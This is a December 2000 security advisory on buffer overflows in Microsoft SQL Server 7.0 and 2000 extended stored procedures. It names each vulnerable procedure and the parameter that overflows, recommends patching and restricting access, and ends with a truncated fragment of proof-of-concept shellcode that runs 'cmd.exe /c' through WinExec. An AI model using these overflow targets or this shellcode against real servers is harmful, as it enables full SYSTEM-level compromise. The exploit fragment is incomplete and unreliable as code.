Microsoft SQL Server extended stored procedure vulnerability (technical explanation and exploit code)
3 Dec. 2000
Summary
Microsoft's database server, known as SQL Server, contains several buffer overruns vulnerabilities that can be exploited remotely to execute arbitrary computer code on the affected system, thus allowing an attacker to gain complete control of the server. In situations where the SQL Server is protected by a firewall, it may still be possible to launch this attack through a connecting web server - though this depends on how secure the web server's application is.
The vulnerability itself lies in the fact that SQL Server provides a mechanism by which a database query can result in a call into a function called an "extended stored procedure". Several extended stored procedures supplied with MS SQL Server (7.0 and 2000) are vulnerable to buffer overflow attacks. Furthermore, in a default configuration any user can execute these extended stored procedures.
Vulnerable systems:
MS SQL Server 7.0 - all service packs
MS SQL Server 2000
Extended stored procedures can be called by any client component that can issue a normal SQL Server query, such as Microsoft Access, or MSQuery. The ISQL utility, which is supplied with SQL Server, can also be used to call extended stored procedures. Web applications running on Internet Information Server frequently use the ActiveX Data Objects (ADO) API to connect to SQL Server databases.
The syntax for calling extended stored procedures is as follows:
exec <stored procedure name> <arg1>, <arg2>, ...
For example, the following query will return a directory tree of the "c:\winnt" directory:
exec xp_dirtree 'c:\winnt'
By passing extremely long strings for various parameters, it is possible to overrun the buffer space allocated for these parameters and execute arbitrary code.
The following extended stored procedures are vulnerable: xp_peekqueue (xpqueue.dll), and xp_printstatements (xprepl.dll)
An overly long string passed for the first parameter will cause an access violation and overwrite the exception handler's saved return address.
xp_proxiedmetadata (xprepl.dll)
Takes four parameters. An overly long string for the second will cause an access violation and overwrite the exception handler's saved return address.
xp_SetSQLSecurity (xpstar.dll)
Takes four parameters. An overly long string passed for the third parameter will cause an exception that results in the immediate termination of the entire SQL Server process.
xp_displayparamstmt, xp_enumresultset, xp_showcolv and xp_updatecolvbm (xprepl.dll):
Each stored procedure contains a string buffer that can be overflowed, causing the DLL to execute arbitrary code under the SYSTEM security context.
Recommendation:
Prevent PUBLIC execute access to these extended stored procedures unless you need it.
Install the vendor supplied patch.
Proof of Concept: Exploit 1:
// SQL2KOverflow.c
// This code creates a file called 'SQL2KOverflow.txt' in the root of the
// c: drive.
// sub ecx,1
query[count++]=0x83;
query[count++]=0xE9;
query[count++]=0x01;
// test ecx,ecx
query[count++]=0x85;
query[count++]=0xC9;
// jne here
query[count++]=0x75;
query[count++]=0xF3;
// sub edx, 0x48
query[count++]=0x83;
query[count++]=0xEA;
query[count++]=0x48;
// push edx <- calling LoadLibrary will mess edx so save it on stack
// Even though we're about to push edx as an arg to LoadLibrary
// we have to push it twice as LoadLibrary will remove one of them
// from the stack - once the call has returned pop it back into edx
// Here are our strings
// kernel32.dll, WinExec, cmd.exe /c ... , ExitProcess
// 1 has been added to each character to 'hide' the nulls
// the loop will sub 1 from each char